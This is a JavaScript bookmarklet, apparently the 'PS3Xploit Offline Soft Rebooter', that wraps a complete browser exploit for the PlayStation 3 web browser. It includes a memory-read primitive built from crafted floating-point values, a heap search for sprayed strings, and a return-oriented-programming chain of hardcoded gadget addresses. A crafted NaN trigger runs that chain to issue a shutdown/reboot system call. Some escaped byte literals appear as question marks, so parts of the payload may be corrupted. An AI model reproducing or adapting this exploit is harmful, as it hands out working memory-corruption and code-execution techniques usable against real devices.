javascript:var rbt='var xtra_data,stack_frame,jump_2,jump_1,xtra_data_addr,stack_frame_addr,jump_2_addr,jump_1_addr,debug=!1,ps3xploit_ecdsa_key="948DA13E8CAFD5BA0E90CE434461BB327FE7E080475EAA0AD3AD4F5B6247A7FDA86DF69790196773",index_key="DA7D4B5E499A4F53B1C1A14A7484443B",start_x="xxxx",offset_array=[],t_out=0,ps3xploit_ecdsa_key_addr=0,index_key_addr=0,search_max_threshold=73400320,search_base=2148532224,search_size=2*mbytes,search_base_off=0,search_size_ext=0,gtemp_addr=2365587456,total_loops=0,max_loops=20,frame_fails=0,sp_exit=2413354176,ffs=4294967295,dbyte41=16705,dbyte00=0,byte_size=1,hword_size=2,word_size=4,dword_size=8,mbytes=1048576,stat_size_offset=40,toc_addr=7296336,default_vsh_pub_toc=7263652,vsh_opd_patch=617820,vsh_opd_addr=7256936,vsh_ps3xploit_key_toc=7370612,toc_entry1_addr=7185360,toc_entry2_addr=7494200,toc_entry3_addr=7185352,toc_entry4_addr=7602176,toc_entry5_addr=7255744,toc_entry6_addr=0,gadget1_addr=620036,gadget2_addr=6332484,gadget3_addr=872540,gadget4_addr=2267192,gadget5_addr=1227548,gadget6_addr=6380604,gadget7_addr=131024,gadget8_addr=131072,gadget_mod1_addr=6352696,gadget_mod2_addr=80756,gadget_mod3_addr=757248,gadget_mod4a_addr=890500,gadget_mod7_addr=108204,gadget_mod8_addr=2862264,hr="\74hr\76",gadget12_addr=820812,sc_sm_shutdown=379,soft_reboot=512;function hexh2bin(e){return String.fromCharCode(e)}function hexw2bin(e){return String.fromCharCode(e\76\7616)+String.fromCharCode(e)}function hexdw2bin(e){return hexw2bin(0)+hexw2bin(e)}function fromIEEE754(e,t,r){var a,d,_,i=[];for(a=e.length;a;a-=1)for(_=e[a-1],d=8;d;d-=1)i.push(_%2?1:0),_\76\76=1;i.reverse();var s=i.join(""),n=(1\74\74t-1)-1,o=parseInt(s.substring(0,1),2)?-1:1,h=parseInt(s.substring(1,1+t),2),b=parseInt(s.substring(1+t),2);return(h===(1\74\74t)-1?0!==b?NaN:o*(1/0):h\760?o*Math.pow(2,h-n)*(1+b/Math.pow(2,r)):0!==b?o*Math.pow(2,-(n-1))*(b/Math.pow(2,r)):0*o).noExponents()}function generateIEEE754(e,t){return fromIEEE754(new Array(e\76\7624&255,e\76\7616&255,e\76\768&255,255&e,t\76\7624&255,t\76\7616&255,t\76\768&255,255&t),11,52)}function generateExploit(e,t){return generateIEEE754(e,(e\74\7432|(t\76\761)-1)-e)}function readMemory(e,t){document.getElementById("exploit")&&(document.getElementById("exploit").style.src="local("+generateExploit(e,t)+")")}function checkMemory(e,t,r){if(document.getElementById("exploit"))return readMemory(e,t),document.getElementById("exploit").style.src.substr(6,r)}function trigger(e){document.getElementById("trigger")&&(document.getElementById("trigger").innerHTML=-parseFloat("NAN(ffffe"+e.toString(16)+")"))}function rop_exit(e){var t=document.getElementById("auto_close");t&&!0===t.checked&&window.close()}function load_check(){total_loops\74max_loops?t_out=setTimeout(initROP,1e3,!1):(total_loops=0,t_out=0)}function findJsVariableOffset(e,t,r,a){readMemory(r,a);for(var d,_,i,s,n=document.getElementById("exploit").style.src.substr(6,a),o=0;o\742*n.length;){if(n.charCodeAt(o/2)===t.charCodeAt(0)){for(i=0,_=0;_\742*t.length&&n.charCodeAt((o+_)/2)===t.charCodeAt(_/2);_+=2)i+=1;if(i===t.length){for(s=r+o+4,d=0;d\74offset_array.length;d+=1)if(offset_array[d]===s)return-1;return offset_array.push(s),s}}o+=16}return 0}function memcpy(e,t,r){return callsub(gadget8_addr,e,t,r,0,0,0,0,0,0,112)}function store_word(e,t,r,a,d){return null===r&&(r=gtemp_addr),null===a&&(a=gtemp_addr),null===d&&(d=gtemp_addr),hexdw2bin(gadget_mod3_addr)+fill_by_16bytes(96,dbyte41)+hexdw2bin(t)+fill_by_8bytes(8,dbyte41)+hexdw2bin(e-3188)+fill_by_16bytes(16,dbyte41)+hexdw2bin(gadget_mod7_addr)+fill_by_16bytes(112,dbyte41)+hexdw2bin(r)+hexdw2bin(a)+hexdw2bin(d)+hexdw2bin(sp_exit)+fill_by_8bytes(8,dbyte41)}function stack_frame_hookup(){return unescape("??")+hexw2bin(gadget1_addr)+hexw2bin(toc_addr)+fill_by_16bytes(32,dbyte41)+hexdw2bin(toc_addr)+fill_by_16bytes(112,dbyte41)}function stack_frame_exit(){return hexdw2bin(gadget_mod8_addr)+unescape("?")}function syscall(e,t,r,a,d,_,i,s,n,o){return null===o&&(o=gtemp_addr),hexdw2bin(gadget_mod2_addr)+fill_by_16bytes(96,dbyte41)+hexdw2bin(gtemp_addr)+fill_by_16bytes(16,dbyte41)+hexdw2bin(gadget_mod1_addr)+fill_by_16bytes(80,dbyte41)+fill_by_4bytes(12,dbyte41)+hexw2bin(e)+hexw2bin(n)+hexw2bin(i)+hexw2bin(_)+hexw2bin(d)+hexw2bin(a)+hexw2bin(r)+fill_by_4bytes(4,dbyte41)+hexw2bin(s)+fill_by_16bytes(32,dbyte41)+hexdw2bin(t)+fill_by_16bytes(16,dbyte41)+hexdw2bin(gadget_mod2_addr)+fill_by_16bytes(96,dbyte41)+hexdw2bin(gtemp_addr)+fill_by_16bytes(16,dbyte41)+hexdw2bin(gadget_mod4a_addr)+fill_by_16bytes(96,dbyte41)+hexdw2bin(o)+hexdw2bin(sp_exit)+fill_by_8bytes(8,dbyte41)}function callsub(e,t,r,a,d,_,i,s,n,o,h,b,l){return null===l&&(l=gtemp_addr),null===b&&(b=gtemp_addr),hexdw2bin(gadget_mod2_addr)+fill_by_16bytes(96,dbyte41)+hexdw2bin(gtemp_addr)+fill_by_16bytes(16,dbyte41)+hexdw2bin(gadget_mod1_addr)+fill_by_16bytes(80,dbyte41)+fill_by_4bytes(12,dbyte41)+hexw2bin(o)+hexw2bin(n)+hexw2bin(i)+hexw2bin(_)+hexw2bin(d)+hexw2bin(a)+hexw2bin(r)+fill_by_4bytes(4,dbyte41)+hexw2bin(s)+fill_by_16bytes(32,dbyte41)+hexdw2bin(t)+fill_by_16bytes(16,dbyte41)+hexdw2bin(gadget_mod2_addr)+fill_by_16bytes(96,dbyte41)+hexdw2bin(b)+fill_by_16bytes(16,dbyte41)+hexdw2bin(e)+fill_by_16bytes(h-32,dbyte00)+hexdw2bin(l)+hexdw2bin(sp_exit)+fill_by_8bytes(8,dbyte41)}function fill_by_4bytes(e,t){for(var r="",a=0,d=hexh2bin(t);a\74e/4;)r+=d.repeat(2),a++;return r}function fill_by_8bytes(e,t){for(var r="",a=0,d=hexh2bin(t);a\74e/8;)r+=d.repeat(4),a++;return r}function fill_by_16bytes(e,t){for(var r="",a=0,d=hexh2bin(t);a\74e/16;)r+=d.repeat(8),a++;return r}function initDefaults(){offset_array=[],xtra_data_addr=0,stack_frame_addr=0,jump_2_addr=0,jump_1_addr=0,ps3xploit_ecdsa_key_addr=0,index_key_addr=0,search_max_threshold=73400320,search_base=2148532224,search_size=2*mbytes,search_size_ext=0*mbytes,search_base_off=0*mbytes,total_loops++}function initROP(e){try{for(!0===e&&(frame_fails=0,search_base_off=0,search_size_ext=0),0!==t_out&&(clearTimeout(t_out),t_out=0),initDefaults(),xtra_data=start_x.convert()+unescape("?");0===xtra_data_addr;){if(search_max_threshold\74search_size)return void load_check();xtra_data=xtra_data.replaceAt(0,hexh2bin(32509)),xtra_data_addr=findJsVariableOffset("xtra_data",xtra_data,search_base,search_size),search_max_threshold-=search_size}for(stack_frame=stack_frame_hookup()+callsub(gadget12_addr,2,0,0,0,0,0,0,0,0,128)+syscall(sc_sm_shutdown,soft_reboot,0,0,0,0,0,0,0)+stack_frame_exit();0===stack_frame_addr;){if(search_max_threshold\74search_size+search_size_ext)return++frame_fails%10==0&&(search_base_off+=0,search_size_ext+=0),void load_check();if(stack_frame=stack_frame.replaceAt(0,hexh2bin(10799)),-1==(stack_frame_addr=findJsVariableOffset("stack_frame",stack_frame,search_base+search_base_off,search_size+search_size_ext))&&search_max_threshold\74search_size+search_size_ext)return frame_fails++,void load_check();search_max_threshold-=search_size+search_size_ext}for(jump_2=unescape("A?")+fill_by_16bytes(48,33410)+hexw2bin(stack_frame_addr)+unescape("?");0===jump_2_addr;){if(search_max_threshold\74search_size)return void load_check();if(jump_2=jump_2.replaceAt(0,hexh2bin(32507)),-1==(jump_2_addr=findJsVariableOffset("jump_2",jump_2,search_base,search_size))&&search_max_threshold\74search_size)return void load_check();search_max_threshold-=search_size}for(jump_1=unescape("??")+hexw2bin(jump_2_addr)+unescape("?");0===jump_1_addr;){if(search_max_threshold\74search_size)return void load_check();if(jump_1=jump_1.replaceAt(0,hexh2bin(32506)),-1==(jump_1_addr=findJsVariableOffset("jump_1",jump_1,search_base,search_size))&&search_max_threshold\74search_size)return void load_check();search_max_threshold-=search_size}var t=checkMemory(stack_frame_addr-4,32768,stack_frame.length),r=checkMemory(xtra_data_addr-4,4096,xtra_data.length),a=checkMemory(jump_2_addr-4,4096,jump_2.length),d=checkMemory(jump_1_addr-4,4096,jump_1.length);a===jump_2&&d===jump_1&&r===xtra_data&&t===stack_frame?(0!==t_out&&clearTimeout(t_out),triggerX()):load_check()}catch(e){debug=!0,debug=!1}}function triggerX(){setTimeout(trigger,1e3,jump_1_addr),setTimeout(rop_exit,2e3,hr),setTimeout(window.close,2e3),t_out=0,total_loops=0}document.write(\47\74html\76\74head\76\74title\76PS3Xploit - Offline Soft Rebooter by lmn7\74/title\76\74/head\76\74body id="bodyId" style="background-color:#FFFFFF"\76\74div id="headerId"\76\74h1\76Rebooting...\74/h1\76\74span id="hideme" style="visibility:hidden"\76\74p\76\74button id="btnROP" type="button" onclick="initROP(true);" autofocus\76Initialize\74/button\76 | Close \74input type="checkbox" id="auto_close" name="aclose" checked="checked" onclick="autoclose();"/\76\74span id="dex_txt" style="visibility:hidden"\76\74input type="checkbox" id="dex" name="DEX" disabled="" onclick="dex();"/\76\74/span\76\74/p\76\74p\76\74button id="btnTrigger" disabled="" type="button" onclick="triggerX();"\76En\74/button\76\74span id="reset" style="visibility:hidden"\76 | \74button id="btnReset" type="button" onclick="disable_trigger();"\76Reset\74/button\76\74/span\76\74/p\76\74/span\76\74div id="exploit" \76\74/div\76\74div id="trigger"\76\74/div\76\74/body\76\74/html\76\47),String.prototype.toHex16=function(){return("0000"+this).substr(-4)},String.prototype.toAscii=function(e){for(var t="",r=0;r\74this.length;)t+=!0===e?this.charCodeAt(r).toString(16).toHex16():this.charCodeAt(r).toString(16),r+=1;return t},String.prototype.convert=function(e){if(this.length\741)return"";var t="",r="",a=0,d=[];for(t=!0===e?this:this.toAscii();t.length%4!=0;)t+="00";for("00"!==t.substr(t.length-3,2)&&(t+="0000");a\74t.length;)r=t.substr(a,4),d.push(String.fromCharCode(parseInt(r,16))),a+=4;return d.join("")},String.prototype.convertedSize=function(e){if(this.length\741)return 0;var t="";for(t=!0===e?this:this.toAscii();t.length%4!=0;)t+="00";return"00"!==t.substr(t.length-3,2)&&(t+="0000"),t.length/2},String.prototype.replaceAt=function(e,t){return this.substr(0,e)+t+this.substr(e+t.length)},String.prototype.repeat=function(e){return new Array(e+1).join(this)},Number.prototype.noExponents=function(){var e=String(this).split(/[eE]/);if(1===e.length)return e[0];var t="",r=this\740?"-":"",a=e[0].replace(".",""),d=Number(e[1])+1;if(d\740){for(t=r+"0.";d++;)t+="0";return t+a.replace(/^\-/,"")}for(d-=a.length;d--;)t+="0";return a+t},initROP(!0);';eval(rbt);